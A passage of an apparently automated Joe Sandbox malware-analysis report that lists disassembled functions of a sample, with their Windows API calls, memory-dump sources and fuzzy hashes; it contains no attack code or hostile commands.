                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • LoadIconA.USER32(:A,00000082), ref: 00410A48
                                                                                                                            • LoadCursorA.USER32(00000000,00007F00), ref: 00410A58
                                                                                                                            • LoadIconA.USER32(?,00000082), ref: 00410A7F
                                                                                                                            • RegisterClassExA.USER32(00000030), ref: 00410A8C
                                                                                                                            • RegisterClassExA.USER32(00000030), ref: 00410AA4
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Load$ClassIconRegister$Cursor
                                                                                                                            • String ID: 0$:A$m
                                                                                                                            • API String ID: 1628326422-2350434581
                                                                                                                            • Opcode ID: 34e115930ad538619a5120b78b9b90e33d45173eaaa402b46f2f1b4f4b3f1c31
                                                                                                                            • Instruction ID: ca039faef4c424ef8ea3c8aef419a4376db91ed66920d3b21320b28d19a0a330
                                                                                                                            • Opcode Fuzzy Hash: 34e115930ad538619a5120b78b9b90e33d45173eaaa402b46f2f1b4f4b3f1c31
                                                                                                                            • Instruction Fuzzy Hash: CD11DEB8D04308AFDB00EFD0D948BEEBBB4FB04305F10815AE90466251D7B95644CFA8
                                                                                                                            Function 004498EE Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044992F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044995F
                                                                                                                            • #4.ODBC32(?,00000000,000000FE,?,0000002A,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044998F
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FE,?,0000002A,00000000,?,00000000,000000F0,?), ref: 004499BF
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FE,?), ref: 004499EF
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 00449A1F
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 00449A4F
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?), ref: 00449A7F
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?), ref: 00449AAF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 70422ee6cee81ed561446415b1f0cd749a659b7572d522cf6068d68cb3bf6603
                                                                                                                            • Instruction ID: 99d9d8755a6cf0d113232fbbf52d5f4c5b69bc6f3bea0cb0d099a5db6ca6654d
                                                                                                                            • Opcode Fuzzy Hash: 70422ee6cee81ed561446415b1f0cd749a659b7572d522cf6068d68cb3bf6603
                                                                                                                            • Instruction Fuzzy Hash: 7351EDB5A00219ABEB24DB09CD99FAA7375FF44714F14C2C8F6296B3C2D671AE408F54
                                                                                                                            Function 0044A9BE Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044A9FF
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044AA2F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044AA5F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044AA8F
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044AABF
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044AAEF
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044AB1F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044AB4F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,0000005D,?), ref: 0044AB7F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 491e7d911ba262e020a081cbfc1a55fac8f1b5cf8d4b9ff1e308a6cdb024976e
                                                                                                                            • Instruction ID: 6d83d27cf763df5787d0ed971520dc3fff4cfb36883f522fa728872f2f6bc6ad
                                                                                                                            • Opcode Fuzzy Hash: 491e7d911ba262e020a081cbfc1a55fac8f1b5cf8d4b9ff1e308a6cdb024976e
                                                                                                                            • Instruction Fuzzy Hash: B05130B0A00919ABDB24EB49CD55FAAB335EFC4719F1081C8F6186B3C1E675AD848F5C
                                                                                                                            Function 00444A08 Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 00444A37
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 00444A5B
                                                                                                                            • #4.ODBC32(?,00000000,000000FE,?,00000064,00000000,?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?), ref: 00444A7F
                                                                                                                            • #4.ODBC32(?,00000000,000000FE,?,0000042C,00000000,?,00000000,000000FE,?,00000064,00000000,?,00000000,00000001,?), ref: 00444AA9
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FE,?,0000042C,00000000,?,00000000,000000FE,?), ref: 00444ACF
                                                                                                                            • #4.ODBC32(?,00000000,000000FE,?,00000064,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FE,?), ref: 00444AF6
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000FE,?,00000064,00000000,?,00000000,000000F0,?), ref: 00444B1D
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000FE,?), ref: 00444B43
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000E7,?), ref: 00444B6A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: ec27d4d517951ab1a0377d6284264b68db561660b445f5a91a361bdce1168479
                                                                                                                            • Instruction ID: 7008e1bf45e8db7029ad63bfb63384697c092d382e583739333f44c50d6983f2
                                                                                                                            • Opcode Fuzzy Hash: ec27d4d517951ab1a0377d6284264b68db561660b445f5a91a361bdce1168479
                                                                                                                            • Instruction Fuzzy Hash: E041EEB1A00508ABDB24DBAACD51FAEB375EF44B14F30831CF6516B3C6D675A9108F54
                                                                                                                            Function 0045E0B0 Relevance: 13.6, APIs: 9, Instructions: 52threadfileCOMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileA.KERNEL32(004E92C8,40000000,00000001,00000000,00000002,80000080,00000000), ref: 0045E0CD
                                                                                                                            • GetCurrentThread.KERNEL32 ref: 0045E0E0
                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 0045E0E7
                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 0045E0F3
                                                                                                                            • GetCurrentProcessId.KERNEL32(?,00000000,?,00000000,00000000), ref: 0045E126
                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 0045E12D
                                                                                                                            • GetCurrentThread.KERNEL32 ref: 0045E13B
                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 0045E142
                                                                                                                            • CloseHandle.KERNEL32(?), ref: 0045E14C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CurrentThread$PriorityProcess$CloseCreateFileHandle
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2365548949-0
                                                                                                                            • Opcode ID: 932f8cab8e90ebe498c929936efee78857bdea7393c46558202f7dcc5a6f6357
                                                                                                                            • Instruction ID: a78f1421e3e38e58bb1954b567a954230ba9de0356a748b699f0323ae7372cc5
                                                                                                                            • Opcode Fuzzy Hash: 932f8cab8e90ebe498c929936efee78857bdea7393c46558202f7dcc5a6f6357
                                                                                                                            • Instruction Fuzzy Hash: A6115170940305ABDB549FE0DC0DFAE7738BB05706F104529FA11A62E2C7B55504CB9D
                                                                                                                            Function 0048018B Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 227COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • __allrem.LIBCMT ref: 00480243
                                                                                                                            • __allrem.LIBCMT ref: 0048025B
                                                                                                                            • __allrem.LIBCMT ref: 00480277
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004802B2
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004802CE
                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004802E5
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                                                            • String ID: E
                                                                                                                            • API String ID: 1992179935-3568589458
                                                                                                                            • Opcode ID: 177a3d48b4849bab5ca766b3295bc10203d4e02127d1cb146e6d29ea2be67334
                                                                                                                            • Instruction ID: 8f4c7ae365256408027f86a367d6081ededdce4ba65a0f7905e9006932448451
                                                                                                                            • Opcode Fuzzy Hash: 177a3d48b4849bab5ca766b3295bc10203d4e02127d1cb146e6d29ea2be67334
                                                                                                                            • Instruction Fuzzy Hash: 7771B271E10208BFDB54EFA9CC81B9EB7B5FB44724F14896BE914E3281D7B89E448B44
                                                                                                                            Function 0045EA40 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 130COMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0045E040: wvsprintfA.USER32(?,?,?), ref: 0045E068
